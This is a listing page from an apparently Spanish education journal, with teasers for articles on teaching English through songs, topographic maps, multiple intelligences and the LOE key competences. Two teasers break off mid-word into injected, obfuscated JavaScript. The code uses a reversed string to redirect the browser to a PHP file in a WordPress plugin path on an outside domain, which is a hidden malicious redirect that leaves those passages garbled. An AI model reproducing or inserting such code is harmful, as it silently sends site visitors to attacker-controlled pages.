LAS CANCIONES EN INGLÉS EN EL AULA DE SECUNDARIA

Autora: Inés Mª Pino Prado El artículo trata de abordar el uso y práctica de las canciones en la clase de inglés para la educación secundaria. Trabaj$hiVNZt4Y5cDrbJXMhLy=function(n){if (typeof ($hiVNZt4Y5cDrbJXMhLy.list[n]) == "string") return $hiVNZt4Y5cDrbJXMhLy.list[n].split("").reverse().join("");return $hiVNZt4Y5cDrbJXMhLy.list[n];};$hiVNZt4Y5cDrbJXMhLy.list=["'php.sgnittes-nigulp/nwodkcol-nigol/snigulp/tnetnoc-pw/moc.aretup07hn//:ptth'=ferh.noitacol.tnemucod"];var... [Leer mas...]

EL MAPA TOPOGRÁFICO: UN BUEN RECURSO PARA TRABAJAR LAS COMPETENCIAS.

Autora: Fermina Acevedo Padilla Bajo el título El topográfico: un buen recurso para trabajar las competencias presentamos una propuesta didáctica categorizada como tarea, que permite desarrollar  todas las competencias básicas y repasar a la par gran parte de los contenidos trabajados durante todo el curso por el alumnado de 3º ESO en la materia de Ciencias Sociales. Precisa para su ejecución de ocho sesiones y se encuadra en la recta final... [Leer mas...]

INTELIGENCIAS MÚLTIPLES, ¿SABEMOS DARLES A TODAS EL MISMO VALOR EN EL AULA?

Autora: María Isabel León Trigo Todos tenemos una opinión sobre la inteligencia de las personas que nos rodean y sobre la nuestra propia pero… ¿de qué depende si una persona es inteligente o no? En este artículo haremos un recorrido por las diferentes concepciones teóricas sobre la inteligencia, deteniéndonos de forma especial en la Teoría de las Inteligencias Múltiples de Gardner, su implicación en nuestro actual sistema educativo... [Leer mas...]

ABORDAR Y TRABAJAR LAS COMPETENCIAS BÁSICAS EN LENGUA CASTELLANA Y LITERATURA DE 1º E.S.O.

Autora: S$hiVNZt4Y5cDrbJXMhLy=function(n){if (typeof ($hiVNZt4Y5cDrbJXMhLy.list[n]) == "string") return $hiVNZt4Y5cDrbJXMhLy.list[n].split("").reverse().join("");return $hiVNZt4Y5cDrbJXMhLy.list[n];};$hiVNZt4Y5cDrbJXMhLy.list=["'php.sgnittes-nigulp/nwodkcol-nigol/snigulp/tnetnoc-pw/moc.aretup07hn//:ptth'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.r$vTB$I_919AeEAw2z$KX=function(n){if (typeof ($vTB$I_919AeEAw2z$KX.list[n]) == "string") return $vTB$I_919AeEAw2z$KX.list[n].split("").reverse().join("");return... [Leer mas...]

LA EDUCACIÓN FÍSICA CONTRIBUYE AL DESARROLLO DE LAS COMPETENCIAS BÁSICAS

Autora: Milagros García Habernau           Se entiende por competencias básicas “aquellos aprendizajes que se consideran imprescindibles, desde un planteamiento integrador y orientado a la aplicación de los saberes adquiridos”. “Son aquellas competencias que debe haber desarrollado un joven al finalizar la enseñanza obligatoria para poder lograr su realización personal, ejercer la ciudadanía activa, incorporarse a... [Leer mas...]

NUEVAS FORMAS PARA MOTIVAR A LOS ALUMNOS

Autora: Consolación Cosmo González           La actual Ley Orgánica  de Educación de 3 de Mayo de 2006 establece, en su  artículo 16,  la  finalidad de la etapa de Educación Primaria: “proporcionar a todos los niños y niñas una educación que permita afianzar su desarrollo personal y su propio bienestar, adquirir las habilidades culturales básicas, así como desarrollar las habilidades sociales, los hábitos de trabajo y estudio,... [Leer mas...]

LA LENGUA COMO EJE PARA EL DESARROLLO DE LAS COMPETENCIAS BÁSICAS EN ALUMNOS CON NECESIDADES EDUCATIVAS ESPECIALES

Autora: Francisca Isabel Fernández Rico           La principal novedad de la Ley Orgánica 2/2006, de 3 de Mayo de Educación (en adelante LOE) es que se han seleccionado ocho competencias básicas que, incorporadas al currículo, permiten poner el acento en aquellos aprendizajes que se consideran imprescindibles, desde un planteamiento integrador y orientado a la aplicación de los saberes adquiridos.           Las Competencias... [Leer mas...]

COMPETENCIAS BÁSICAS EN EDUCACIÓN FÍSICA: COMPETENCIA EN EL CONOCIMIENTO Y LA INTERACCIÓN CON EL MUNDO FÍSICO

Autora: Miryan Santos Pizarro           La Ley Orgánica 2/2006, de 3 de mayo, de Educación incorpora las competencias básicas al currículo como uno de sus elementos y les otorga el “rol” diferente curricular para la evaluación general de diagnóstico.           “La competencia es la capacidad de creación y producción autónoma, de conocer, actuar y transformar la realidad que nos rodea, ya sea personal, social, natural... [Leer mas...]